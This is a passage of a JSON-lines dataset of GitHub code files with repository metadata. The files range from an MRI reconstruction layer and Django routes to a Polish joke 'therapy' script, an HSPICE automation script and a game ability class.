],\n dim=self._complex_dim,\n ).permute(0, 3, 1, 2)\n regularization_term = self.regularizer_model(regularization_term).permute(0, 2, 3, 1)\n regularization_term = torch.cat(\n [\n self.forward_operator(\n expand_operator(image, sensitivity_map, dim=self._coil_dim), dim=self._spatial_dims\n )\n for image in torch.split(regularization_term, 2, self._complex_dim)\n ],\n dim=self._complex_dim,\n )\n return current_kspace - self.learning_rate * kspace_error + regularization_term\n","repo_name":"NKI-AI/direct","sub_path":"direct/nn/varnet/varnet.py","file_name":"varnet.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"37"} +{"seq_id":"8637370237","text":"extensions = [\n \"txt\",\n \"doc\",\n \"docx\",\n \"pdf\",\n \"xls\",\n \"xlsx\",\n \"ppt\",\n \"pptx\",\n \"html\",\n \"css\",\n \"js\",\n \"jpg\",\n \"jpeg\",\n \"png\",\n \"gif\",\n \"bmp\",\n \"svg\",\n \"mp3\",\n \"wav\",\n \"mp4\",\n \"avi\",\n \"mkv\",\n \"zip\",\n \"rar\",\n \"tar\",\n \"exe\",\n \"app\",\n \"iso\",\n \"json\",\n \"xml\",\n \"csv\",\n \"sql\",\n \"py\",\n \"java\",\n \"cpp\",\n \"h\",\n \"php\",\n \"rb\",\n \"scss\",\n \"less\",\n \"ts\",\n \"jsx\",\n \"tsx\",\n \"md\",\n \"log\",\n \"ini\",\n \"cfg\",\n \"yml\",\n \"yaml\",\n \"bat\",\n \"sh\",\n \"dll\",\n \"sys\",\n \"com\",\n \"jar\",\n \"war\",\n \"ear\",\n \"class\",\n \"jsp\",\n \"asp\",\n \"aspx\",\n \"cs\",\n \"vb\",\n \"lua\",\n \"pl\",\n \"sql\",\n \"tsv\",\n \"rtf\",\n \"odt\",\n \"ott\",\n \"ods\",\n \"ott\",\n \"odp\",\n \"otp\",\n \"odg\",\n \"otg\",\n \"odc\",\n \"odb\",\n \"odf\",\n \"odi\",\n \"odm\",\n \"ott\",\n \"odp\",\n \"otp\",\n \"odb\",\n \"odg\",\n \"otg\",\n \"odc\",\n \"odf\",\n \"odi\",\n \"odm\",\n \"pub\",\n \"wpd\",\n \"eps\",\n \"ai\",\n \"indd\",\n \"psd\",\n \"xcf\",\n \"tex\",\n \"cer\",\n \"torrent\",\n \"piskel\",\n \"7z\",\n \"msi\",\n \"webp\",\n]","repo_name":"kumchovylcho/downloads-folder-sorter","sub_path":"extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"hr","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"42076085050","text":"import pytest\nimport json\n\nfrom rlo import costs\nfrom rlo.expression_util import find_users, first_non_let_ancestor, count_ops_along_path\nfrom rlo.expression import Expression\nfrom rlo import expr_sets\nfrom rlo import sparser\nfrom rlo import utils\n\n\ndef test_count_users():\n e = sparser.parse_expr(\n \"\"\"\n(let (x (add 1 2)) (let (y x) (add y (add x (add x (let (x (add x 3)) (add x x)))))))\n; users of (x (add 1 2)): ^ ^ ^ ^\n\"\"\"\n )\n assert len(list(find_users(e))) == 4\n assert all(e.nodes[i] == Expression.Variable(\"x\") for i in find_users(e))\n\n\ndef check_count_builds(expr, let_var_name, expected_num_builds):\n let_node_id, let_node = utils.single_elem(\n [\n (i, n)\n for i, n in enumerate(expr.nodes)\n if n.op == \"let\" and n.first.name == let_var_name\n ]\n )\n let_body_id = let_node_id + 1 + len(let_node.second.nodes)\n var_usage_id = utils.single_elem(\n [\n i\n for i, n in enumerate(expr.nodes)\n if n.op == \"variable\" and n.name == let_var_name and i >= let_body_id\n ]\n )\n count = count_ops_along_path(\n let_node, var_usage_id - let_node_id, [\"build\", \"sumbuild\"]\n )\n assert count == expected_num_builds, \"Expected {} builds but got {}\".format(\n expected_num_builds, count\n )\n\n\ndef test_count_builds():\n _, exprenv = utils.single_elem(\n sparser.parse_defs(\n \"\"\"\n(def\n matrix_matrix_multiply (Vec (Vec Float))\n ((mat_x : (Vec (Vec Float))) (mat_y : (Vec (Vec Float))))\n (let ((l (size mat_x)) (m (size mat_y)) (n (size (index 0 mat_y))))\n (build l (lam (i : Integer)\n (build n (lam (k : Integer)\n (sumbuild m (lam (j : Integer)\n (mul (index j (index i mat_x))\n (index k (index j mat_y)))))))))))\"\"\"\n )\n )\n expected_num_builds = dict(l=1, m=3, n=2)\n for let_var_name, expected_count in expected_num_builds.items():\n check_count_builds(exprenv.expr, let_var_name, expected_count)\n\n\ndef test_count_builds_hard():\n _, exprenv = utils.single_elem(\n sparser.parse_defs(\n \"\"\"\n(def\n matrix_matrix_multiply (Vec (Vec Float))\n ((mat_x : (Vec (Vec Float))) (mat_y : (Vec (Vec Float))))\n (let ((l (size mat_x)) (m (size mat_y)) (n (size (index 0 mat_y))))\n (let ((k (size \n (build 10 (lam (i1 : Integer)\n (build 10 (lam (i2 : Integer)\n (build 10 (lam (i3 : Integer)\n 0)))))))))\n (build l (lam (i : Integer)\n (build n (lam (k : Integer)\n (sumbuild m (lam (j : Integer)\n (mul (index j (index i mat_x))\n (index k (index j mat_y))))))))))))\"\"\"\n )\n )\n expected_num_builds = dict(l=1, m=3, n=2)\n for let_var_name, expected_count in expected_num_builds.items():\n check_count_builds(exprenv.expr, let_var_name, expected_count)\n\n\ndef test_first_non_let_ancestor():\n e = sparser.parse_expr(\n \"\"\"\n(size (index 0 (let (m (size x)) (let (n (size y)) (add x y)))))\n\"\"\"\n )\n add_node_id = next(i for i, n in enumerate(e.nodes) if n.op == \"add\")\n ancestor_node = first_non_let_ancestor(e, add_node_id)\n assert ancestor_node.op == \"index\"\n\n\ndef test_gemm_caching():\n # This is a regression test for https://github.com/awf/knossos/issues/1232 (bad caching).\n expr_set = expr_sets.get_expression_set(\"ksc/blas/blas_test.kso\")\n exprs = dict(expr_set.named_exprenvs())\n\n agent = expr_set.get_expert(\"ml_rules_no_bind\")\n episode = agent.optimize(exprs[\"gemm_no_inner_prod\"])\n\n agent = expr_set.get_expert(\"ml_rules_no_bind\")\n # Optimize gemm_all_fns_inlined first\n seen_exprs = [s.node.exprenv for s in agent.optimize(exprs[\"gemm_all_fns_inlined\"])]\n episode_with_caching = agent.optimize(exprs[\"gemm_no_inner_prod\"])\n # Sanity check that the two starting expressions hit some common intermediates\n common_exprs = frozenset(seen_exprs).intersection(\n frozenset([s.node.exprenv for s in episode_with_caching])\n )\n assert len(common_exprs) > 0\n\n # We should reach the same final expression (i.e. cost) in the same #steps.\n assert episode[-1].node.exprenv == episode_with_caching[-1].node.exprenv\n assert len(episode) == len(episode_with_caching)\n\n\n@pytest.mark.parametrize(\n \"file,time_budget\",\n [\n (\"ksc/blas/blas_combined.kso\", 50),\n (\"ksc/blas/blas_test.kso\", 100),\n (\"ksc/blas/blas_train.kso\", 100),\n ],\n)\n@pytest.mark.parametrize(\"rules_name\", [\"ml_rules_no_bind\"])\ndef test_expert(file, time_budget, rules_name):\n expr_set = expr_sets.get_expression_set_from_ks(file)\n best_cost = lambda expr: expr_set.best_cost_for_expression(\n expr, rules_name, time_budget\n )\n expert = expr_set.get_expert(rules_name)\n for expr_name, exprenv in expr_set.named_exprenvs():\n print(\"Optimizing {}\".format(expr_name))\n episode = expert.optimize(exprenv, truncate=True)\n print(\n \"Found sequence:\",\n json.dumps([(e.action.node_id, e.action.rule_name) for e in episode[:-1]]),\n )\n final_expr = episode[-1].node.exprenv\n expert_cost = round(final_expr.cost(), 1)\n expert_ep_length = len(episode)\n print(f\"{expert_ep_length} steps to cost {expert_cost} with {final_expr}\")\n num_lets = len([n for n in final_expr.expr.nodes if n.op == \"let\"])\n (best_known_cost, method, seq) = best_cost(expr_name)\n best_ep_length = len(seq) + 1\n best_known_cost = round(best_known_cost, 1)\n if best_known_cost is not None and expert_ep_length <= time_budget:\n if method == \"expert\":\n # If expert_ep_length is greater than scenario time_budget, we cannot compare expert_cost with\n # best_known_cost, as it is obtained by truncating the expert episode sequence\n assert expert_cost == best_known_cost, (\n f\"For rule-set {rules_name}, \"\n \"expected best cost {best_known_cost} for expression {expr_name}, \"\n \"but got {expert_cost} from expert\"\n )\n assert expert_ep_length == best_ep_length, (\n \"For rule-set {}, expected episode length {} \"\n \"for expression {}, \"\n \"but got {} from expert\".format(\n rules_name, best_ep_length, expr_name, expert_ep_length\n )\n )\n else:\n # If expert_ep_length is less or equal to the time_budget, then anything we record, should be\n # at least as good as the expert (maybe better if RLO is working well). If expert_ep_length is greater than\n # time_budget, then we cannot say much - either expert_cost is not achievable in the given time budget,\n # hence RLO-recorded best_known_cost is greater than expert_cost, or RLO is working better than expert and it\n # has found best_known_cost that is lower than expert_cost in a smaller amount of time.\n # Test also that the expert finds all optimization possible except possibly for leaving some hanging lets.\n assert (best_known_cost <= expert_cost) and (\n expert_cost <= best_known_cost + costs.let_cost * num_lets\n ), (\n f\"For rule-set {rules_name}, \"\n \"expected best cost {best_known_cost} for expression {expr_name}, \"\n \"but got {expert_cost} from expert\"\n )\n","repo_name":"microsoft/knossos-ksc","sub_path":"rlo/test/rlo/test_experts.py","file_name":"test_experts.py","file_ext":"py","file_size_in_byte":7566,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"11245255362","text":"import logging\nimport math\nimport time\n\nimport pantilthat\nfrom picamera import PiCamera\n\n\n# https://github.com/pimoroni/pantilt-hat/blob/master/examples/smooth.py\n\n\ndef camera_test(rotation):\n camera = PiCamera()\n camera.rotation = rotation\n logging.info('Starting Raspberry Pi Camera')\n camera.start_preview()\n\n try:\n while True:\n continue\n except KeyboardInterrupt:\n logging.info('Stopping Raspberry Pi Camera')\n camera.stop_preview()\n\n\ndef pantilt_test():\n logging.info('Starting Pan-Tilt HAT test!')\n logging.info('Pan-Tilt HAT should follow a smooth sine wave')\n while True:\n # Get the time in seconds\n t = time.time()\n\n # G enerate an angle using a sine wave (-1 to 1) multiplied by 90 (-90 to 90)\n a = math.sin(t * 2) * 90\n # Cast a to int for v0.0.2\n a = int(a)\n pantilthat.pan(a)\n pantilthat.tilt(a)\n\n # Sleep for a bit so we're not hammering the HAT with updates\n time.sleep(0.005)\n\n\nif __name__ == '__main__':\n pantilt_test()\n","repo_name":"bitsy-ai/rpi-object-tracking","sub_path":"rpi_deep_pantilt/control/hardware_test.py","file_name":"hardware_test.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"37"} +{"seq_id":"17028615481","text":"\"\"\" \nLibrary containing useful auxiliary functions\nCreated by Y.Lin\n\"\"\"\n\nimport os\nimport tarfile\nimport urllib\nimport numpy\nimport zlib\n\ndef get_data_from_url(src_url, dest_folder, dest_file_name):\n os.makedirs(dest_folder, exist_ok=True)\n dest = os.path.join(dest_folder, dest_file_name)\n urllib.request.urlretrieve(src_url, dest)\n\ndef extract_tarfile(tarfile_path, extracted_path):\n tar = tarfile.open(tarfile_path)\n tar.extractall(path=extracted_path)\n tar.close()\n\n# implementation of single run split train test data\ndef split_train_test_single_run(data, ratio):\n # randomly permute a sequence of length 'data'\n random_unique_indices = numpy.random.permutation(len(data))\n split_size = int(len(data) * ratio)\n # all indices left of split size not inclusive\n train_indices = random_unique_indices[:split_size]\n # all indices after split size \n test_indices = random_unique_indices[split_size:]\n # return left and right data of respective indices\n return data.iloc[train_indices], data.iloc[test_indices]\n\n# implementation of multi-run split train test data that ensures test data is consistent across multiple\n# run even as dataset 'updates', and no prev training data appear in test data\ndef split_train_test_multi_run(data, ratio, id_column):\n ids = data[id_column]\n # foreach id in the array, filter set of ids where the id converts to 64bit integer, masked to only 32 bit lsb, \n test_set = ids.apply(lambda id: zlib.crc32(numpy.int64(id)) & 0xffffffff < ratio * 2 ** 32) \n return data.loc[~test_set], data.loc[test_set]\n\ndef display_scores(scores):\n print(\"Scores:\", scores)\n print(\"Mean:\", scores.mean())\n print(\"Standard deviation:\", scores.std())","repo_name":"ylin36/machine-learning","sub_path":"california-sensus/src/data_utility.py","file_name":"data_utility.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26232525735","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('',views.my_view,name='home'),\n path('cart/', views.cart_view, name='cart'),\n path('/addcart/', views.add_cart, name ='add-cart'),\n path('sach_khoa_hoc/',views.filter_sach_khoa_hoc, name ='sach_khoa_hoc'),\n path('sach_lam_giau/',views.filter_sach_lam_giau, name ='sach_lam_giau'),\n path('sach_thieu_nhi/',views.filter_sach_thieu_nhi, name ='sach_thieu_nhi'),\n path('/delete/', views.delete_cart_item, name ='delete'),\n path('/', views.detail_product, name ='detail_product'),\n path('search/', views.search_feature, name ='search')\n \n \n]\n ","repo_name":"d19at001/BookStore","sub_path":"DarkSite/Base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43915447864","text":"def task_1corrupt():\r\n word = loadImage(\"cheesepic.png\")\r\n image(word, 490, 150)\r\n \r\n question = \"Fill in the Blank\" \r\n fill(255, 255, 255) \r\n textSize(25)\r\n textAlign(CENTER)\r\n text(question, width/2-150, height/2, 300, 150)\r\n \r\n letter1 = loadImage(\"cheese1.png\")\r\n image(letter1, 370, 500)\r\n \r\n letter2 = loadImage(\"cheese2.png\") \r\n image(letter2, 575, 500)\r\n \r\n letter3 = loadImage(\"cheese3.png\") \r\n image(letter3, 830, 500)\r\n","repo_name":"ethansaw04/Productivity-Manager-Enterprise-Edition-V3-Fall-Hacks-2022-","sub_path":"task1corrupt/task1corrupt.pyde","file_name":"task1corrupt.pyde","file_ext":"pyde","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44062615074","text":"import os\nimport boto3\n\nfrom celery.signals import before_task_publish\nfrom celery import Celery, Task\nfrom flask import Flask\n\n\ndef make_celery(app):\n celery = Celery(\n app.import_name,\n backend=app.config['CELERY_RESULT_BACKEND'],\n broker=app.config['CELERY_BROKER_URL'],\n task_track_started=True\n )\n celery.conf.update(app.config)\n\n class ContextTask(celery.Task):\n def __call__(self, *args, **kwargs):\n with app.app_context():\n return self.run(*args, **kwargs)\n\n celery.Task = ContextTask\n return celery\n\n\nflask_app = Flask(__name__)\nflask_app.config.update(\n CELERY_BROKER_URL=os.environ['CELERY_BROKER_URL'],\n CELERY_RESULT_BACKEND=os.environ['CELERY_RESULT_BACKEND']\n)\n\ncelery = make_celery(flask_app)\ncloudwatch = boto3.client('cloudwatch')\n\n\nclass BaseTask(Task):\n def on_failure(self, exc, task_id, args, kwargs, einfo):\n print('On Failure - {}'.format(task_id))\n\n\n@before_task_publish.connect()\ndef before_task_publish(**kwargs):\n print('--------------------------')\n # print('I m in before_task_publish')\n print(cloudwatch)\n response = cloudwatch.put_metric_data(\n MetricData=[\n {\n 'MetricName': 'TASKS_COUNT',\n 'Dimensions': [\n {\n 'Name': 'task',\n 'Value': 'one'\n }\n ],\n 'Unit': 'None',\n 'Value': 1\n },\n ],\n Namespace='CELERY/PYAWSAPP1'\n )\n print(response)\n print('--AFTER RESPONSE--')\n","repo_name":"prasannaboga/pyawsapp1","sub_path":"celery_tasks/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9364081968","text":"import time\r\nimport random\r\n\r\n\r\ndef get_number():\r\n numbers = [3, 4, 5, 6, 7, 8, 9]\r\n random_number = random.choice(numbers)\r\n return random_number\r\n\r\n\r\ndef caunting():\r\n second_left = get_number()\r\n print(''.format(second_left))\r\n while second_left >= 2:\r\n second_left -= 1\r\n time.sleep(1)\r\n print('')\r\n\r\n\r\ndef format_name_or_rodo(name_input):\r\n if name_input == '':\r\n print('\\aDR PYTHON: Aaaaaach rozumiem, RODO...')\r\n else:\r\n name_input = name_input.strip()\r\n name_input = name_input.title()\r\n return name_input\r\n\r\n\r\nprint('Witaj na TERAPII PAR DR JSON\\'A PYTHONA')\r\ntime.sleep(3)\r\nprint('Proszę czekać, nawiązuje połączenie z Dr J. Pythonem...')\r\ntime.sleep(3)\r\ncaunting()\r\ntime.sleep(1)\r\nprint('')\r\ntime.sleep(4)\r\nprint('\\aDR PYTHON: Hej, z tej strony Json Python. W terapii par ważne jest abyście byli oboje przed monitorem')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: Zawołaj mi tu od razu faceta do klawiatury, pójdzie na pierwszy ogień')\r\ntime.sleep(5)\r\nprint('\\aDR PYTHON: Czy mamy już mężczyznę przy klawiaturze?')\r\nhis = input('Ja: ')\r\nhis = his.strip()\r\nhis = his.lower()\r\n\r\nwhile not (his == 'tak' or his == 'y' or his == 't'):\r\n time.sleep(1)\r\n print('\\aDR PYTHON: Dawać mi tu chłopa, nie ma czasu, inni pacjenci czekają')\r\n time.sleep(3)\r\n print('\\aDR PYTHON: Chłopie dotarłeś w reszcie do tej klawiatury? Tak czy nie?')\r\n his = input('Ja: ')\r\n his = his.strip()\r\n his = his.lower()\r\n\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: Witam Szanownego Pana, jak masz na imie?')\r\nhe = input('Ja: ')\r\nhe = format_name_or_rodo(he)\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: No to jaki macie problem?')\r\ninput('Ja: ')\r\ntime.sleep(4)\r\nprint('\\aDR PYTHON: hmmm... ciekawe, pewnie nie uwierzysz ale spotkałem się już z tym')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: Najważniejsze, abyście pamiętali, że nie ma par idealnych, każda ma swoje problemy')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: No dobrze ' + he + ', spróbujmy mojej autorskiej terapii intidzerowej, '\r\n 'podaj dowolną cyfrę Kochanieńki')\r\nchosen_number = input('Ja: ')\r\n\r\ntry:\r\n chosen_number = int(chosen_number)\r\nexcept ValueError:\r\n chosen_number = get_number()\r\n time.sleep(4)\r\n print('\\aDR PYTHON: Miała być cyfra. No trudno, w takim razie wylosowałem za Ciebie cyfrę', chosen_number)\r\n\r\nif int(chosen_number) >= 100 or int(chosen_number) <= 0:\r\n chosen_number = get_number()\r\n time.sleep(4)\r\n print('\\aDR PYTHON: Ej no miała być cyfra, a ty poleciałeś z gruuuubej rury.'\r\n 'W takim razie wylosuję cyfrę dla Ciebie...')\r\n time.sleep(4)\r\n print('\\aDR PYTHON: Dziś', chosen_number, 'będzie twoją cyfrą')\r\n\r\ntime.sleep(4)\r\nprint('\\aDR PYTHON: Swoją drogą ciekawe, że padło akurat na', chosen_number, 'bo to też moja ulubiona liczba')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: Muszę Ci zdradzić, że osoby, którzy wybierają', chosen_number, 'to nie są tak całkiem ten tego...')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: No wiesz...')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: ok, nieważne, lepiej przejdzmy do terapii...')\r\ntime.sleep(3)\r\nprint('\\aDR PYTHON: Możesz teraz w nagrodę ucałować swoją piękną kobietę', chosen_number, 'razy')\r\ntime.sleep(5)\r\nprint('\\aDR PYTHON: Czy ucałowałeś już?')\r\nhis = input('Ja: ')\r\nhis = his.strip()\r\nhis = his.lower()\r\n\r\nmissing_kisses = 100 - int(chosen_number)\r\n\r\nprint('\\aDR PYTHON: A jak w ogóle twoja lepsza połówka ma na imię?')\r\nshe = input('Ja: ')\r\nshe = format_name_or_rodo(she)\r\ntime.sleep(3)\r\n\r\nif his == 'tak' or his == 'y' or his == 't':\r\n print('\\aDR PYTHON: ' + she + ' kochana moja weź potwierdz czy ucałował Cię', chosen_number, 'razy, ')\r\n print('\\aDR PYTHON: bo jemu to nie można wierzyć, a na kamerce słobo widać. Ucałował?')\r\nelse:\r\n print('\\aDR PYTHON: Oj ' + he + ' całuj nie kombinuj. No ucałowałeś', chosen_number, 'razy w reszcie?')\r\n PD = input('Ja: ')\r\n time.sleep(4)\r\n print('\\aDR PYTHON: ' + she + ' moja kochana weź potwierdz czy ucałował Ci��', chosen_number, 'razy,')\r\n print('\\aDR PYTHON: bo facetom to nie można wierzyć, a ciemno jest i kamerka słabo działa. Ucałował?')\r\n\r\nher = input('Ja: ')\r\nher = her.strip()\r\nher = her.lower()\r\ntime.sleep(3)\r\n\r\nif her == 'tak' or her == 'y' or her == 't':\r\n print('\\aDR PYTHON: No brawo! Cudownie!')\r\n time.sleep(2)\r\n print('\\aDR PYTHON: A czy wiesz ' + he + ', że do 100 całusów brakuje Ci już '\r\n 'tylko {}?'.format(missing_kisses))\r\n time.sleep(2)\r\n print('\\aDR PYTHON: Na co czekasz? Do dzieła!')\r\n time.sleep(3)\r\n print('\\aDR PYTHON: Widzę, że nie jestem Wam już potrzebny. Do następnej sesji. Miłego wieczoru:)')\r\nelse:\r\n print('\\aDR PYTHON: Oj to chyba jednak nie ma sensu, inni pacjenci czekają')\r\n time.sleep(2)\r\n print('\\aDR PYTHON:' + she + ', jako sztuczna inteligencja wszechczasów doradzam Ci wymianę chłopa na lepszy model')\r\n time.sleep(2)\r\n print('\\aDR PYTHON: Miłego wieczoru Kochana, tego kwiatu jest pół światu;)')\r\n\r\ntime.sleep(3)\r\nprint('')\r\ntime.sleep(4)\r\nprint('UWAGA!!! Dr Json P. nie ponosi odpowiedzialności za efekty terapii, w tym rozwody, afty czy nieplanowane ciąże,')\r\nprint('aczkolwiek nie ma nic przeciwko aby dzieci narodzone w wyniku terapii były nazywane jego imieniem.')\r\ntime.sleep(6)\r\nprint('A ha! I jeszcze jedno:')\r\nprint(he + ' nie martw się, z osobami, które wybierają liczbę', chosen_number, 'jest wszystko w porządku:)')\r\ninput(\"\")\r\n","repo_name":"MiraSuwala/python-therapy","sub_path":"terapia_par.py","file_name":"terapia_par.py","file_ext":"py","file_size_in_byte":5728,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70466619628","text":"################################################################################\r\n# Colby Brooks #\r\n# Built a python scripts that automates running hspice. Given a parameter value\r\n# for the number of fans and inverters, the code is designed to also automate creating\r\n# the spice .sp files for each iteration of fan and inverters. After each .sp file is created\r\n# using the subprocess command to output a text so unix will run the .sp file with hspice\r\n# The code is iterated to find the smallest time delay.\r\n# Inverters <= 25\r\n###############################################################################\r\n# Last Section is commented to run without HSpice. If you have Hspice, you can\r\n# delete the Holding_Block to run\r\n################################################################################\r\n\r\nimport numpy as np # package needed to read the results file\r\nimport subprocess # package needed to lauch hspice\r\nimport shutil # package needed to copy a file\r\n\r\n################################################################################\r\n# Start the main program here. #\r\n################################################################################\r\n\r\nnumfan = 20\r\nnuminv = 25 # Can only be Odd numbers\r\nimport string # Import string\r\nnum2alpha = dict(zip(range(1, 27), string.ascii_lowercase)) # Creates a number to string function; 1 = a , 26 = z\r\nmin_tph = 100 # Creates big time delay\r\noptimal_fan = () # Creates blank array\r\noptimal_inverter = ()\r\n# For loop for number of fans and inverters\r\nfor fan in range(2, numfan+1):\r\n for inv in range(1, numinv+2, 2):\r\n shutil.copy(\"InvChain.sp\", \"inv.sp\") # Copy invchain to new file inv\r\n f = open('inv.sp', 'a') # open inv.sp\r\n text = '.param fan = {}\\n'.format(fan) # creates text for fan and writes it\r\n f.write(text)\r\n if (numinv == 1): # If statemnt to add a z if numinv == 1\r\n text = 'Xinv1 a z inv M=1\\n'\r\n if (numinv > 1): # If statement for if numinv is greater than 1\r\n text = 'Xinv1 a b inv M=1\\n'\r\n f.write(text) # To add the first line for (a b) if numinv is greater than 1\r\n\r\n for index in range(3, inv + 2, 2): # Text addition for numinv > 1 past the first line\r\n text = 'Xinv{} {} {} inv M=fan**{}\\n'.format(index-1, num2alpha[index-1], num2alpha[index], index - 2)\r\n # Text to write inverters greater than 1\r\n f.write(text)\r\n if(index == numinv): # If on the last inverter, this makes the last letter equal to z\r\n zindex = 26\r\n text = 'Xinv{} {} {} inv M=fan**{}\\n'.format(index, num2alpha[index], num2alpha[zindex], index - 1)\r\n f.write(text)\r\n f.write('.end') # closing end statement\r\n f.close() # close the appending\r\n\r\n# Delete Holding_Block if you do have Hspice, also delete terminating ''' at the bottom\r\nHolding_Block = '''\r\n\r\n proc = subprocess.Popen([\"hspice\", \"inv.sp\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\r\n #output, err = proc.communicate()\r\n\r\n # extract tphl from the output file\r\n data = np.recfromcsv(\"inv.mt0.csv\", comments=\"$\", skip_header=3)\r\n tphl = data[\"tphl_inv\"]\r\n print(\"Fan =\", fan,\"\\t inverter =\", inv, \"\\t tph1 =\", tphl) # print statements out for each iteration\r\n if (tphl < min_tph): # if statement to compare current time delay to the minimum\r\n # set the optimal conditions\r\n min_tph = tphl\r\n optimal_fan = fan\r\n optimal_inverter = inv\r\n\r\n# Print statements for min time delay and coreesponding fan and inverters\r\nprint(\"The Lowest Time Delay is \", min_tph)\r\nprint(\"The optimal fan count is \", optimal_fan)\r\nprint(\"The optimal inverter count is \", optimal_inverter)\r\n\r\n'''","repo_name":"colbybrooks/Automating-HSPICE","sub_path":"Automate_Hspice.py","file_name":"Automate_Hspice.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"34603238146","text":"import math\nimport random\n\n#Need to define charged, charges and maxCD for charges abilities\nclass ability:\n\n def __init__(self, name, abiltype, targtype, cooldown, potency, nextuse, combopotency):\n self.name = name\n self.abiltype = abiltype\n self.targtype = targtype\n self.cooldown = cooldown\n self.potency = potency\n self.nextuse = nextuse\n self.combopotency = combopotency\n self.charged = False\n self.charges = 0\n self.maxcooldown = self.charges * self.cooldown\n self.partymod = True\n self.simcrits = True\n self.totalpotency = 0\n self.totaluse = 0\n\n #Calculated damage and creates log if needed\n def getpotency(self, time, cdhstats, potmod, stats, combo):\n Auto = False\n if self.name == 'Auto Attack':\n Auto = True\n\n pot = 0\n string = str(time) + ' : You use ' + str(self.name)\n if combo and self.combopotency > 0:\n pot = int(self.combopotency)\n else:\n pot = int(self.potency)\n\n pot = self.returndamage(pot, Auto, stats)\n\n\n for i in potmod:\n pot = math.floor(pot*i)\n\n if self.simcrits:\n if (random.randint(1, 10001) > ((10000 * (100 - cdhstats[0]))/100)): #Check Crit\n pot = pot * cdhstats[1]\n string = string + '!'\n if (random.randint(1, 10001) > ((10000 * (100 - cdhstats[2]))/100)): #Check DH\n pot = pot * cdhstats[3]\n string = string + '@'\n\n\n pot = round(pot,4)\n string = string+' - '+str(pot)+ ' damage'\n self.putonCD(time)\n self.totalpotency = self.totalpotency + pot\n self.totaluse = self.totaluse + 1\n return [pot, string]\n\n def returncharges(self,time):\n if not self.charged:\n print('Incorrect Charged Ability')\n return 0\n else:\n return math.trunc(self.charges - (self.nextuse - time) / self.cooldown)\n\n #puts ability on CD\n def putonCD(self,time):\n if not self.charged:\n self.nextuse = round(time + self.cooldown, 2)\n else:\n if self.nextuse - time < 0:\n self.nextuse = time + self.cooldown\n else:\n self.nextuse = self.nextuse + self.cooldown\n\n #Checks if ability is vailable\n def available(self,time):\n if not self.charged:\n return time >= self.nextuse\n else:\n return math.trunc(self.charges - (self.nextuse - time) / self.cooldown) > 0\n\n #check the recast time\n def getrecast(self,time):\n if time >= self.nextuse:\n return 0\n else:\n return self.nextuse - time\n\n #put ability on CD\n def setCD(self, newCD):\n self.cooldown = newCD\n\n # reset values\n def reset(self):\n self.nextuse = 0\n\n def returndamage(self, pot, auto, stats):\n JobMod = 115\n WD = stats[0]\n wepdelay = stats[1]\n dex = stats[2]\n det = stats[3]\n ss = stats[4]\n if self.partymod:\n dexstat = math.floor(dex * 1.05)\n else:\n dexstat = dex\n Damage = 0\n if auto:\n Damage = math.floor(pot * ((WD + math.floor(340 * JobMod / 1000)) * (wepdelay / 3)) * (100 + math.floor((dexstat - 340) * 165 / 340)) / 100)\n Damage = math.floor(Damage * (1000 + math.floor(130 * (det - 340) / 3300)) / 1000)\n Damage = math.floor(Damage * (1000 + math.floor(130 * (ss - 380) / 3300)) / 1000)\n Damage = math.floor(Damage * (1000 + math.floor(100 * (380 - 380) / 3300)) / 1000 / 100)\n else:\n Damage = math.floor(pot * (WD + math.floor(340 * JobMod / 1000)) * (100 + math.floor((dexstat - 340) * 165 / 340)) / 100)\n Damage = math.floor(Damage * (1000 + math.floor(130 * (det - 340) / 3300)) / 1000)\n Damage = math.floor(Damage * (1000 + math.floor(100 * (380 - 380) / 3300)) / 1000 / 100)\n\n return Damage * (random.randrange(95, 105) / 100)\n\n def apexpotency(self,time,cdhstats,potmod,stats,combo,sv):\n self.potency = math.floor(sv*6)\n return self.getpotency(time, cdhstats, potmod, stats, combo)\n\n def pitchpotency(self,time,cdhstats,potmod,stats,combo,rep):\n if rep == 3:\n self.potency = 450\n elif rep == 2:\n self.potency = 240\n else:\n self.potency = 100\n return self.getpotency(time,cdhstats,potmod,stats,combo)\n\n def resetcd(self,time):\n if not self.charged:\n self.nextuse = time\n else:\n if self.nextuse - self.cooldown < time:\n self.nextuse = time\n else:\n self.nextuse = self.nextuse - self.cooldown","repo_name":"eliroo12/SimulatorSource","sub_path":"ability.py","file_name":"ability.py","file_ext":"py","file_size_in_byte":4778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32352622905","text":"# Use the file name mbox-short.txt as the file name\nfname = input(\"Enter file name: \")\nfh = open(fname)\ncount = 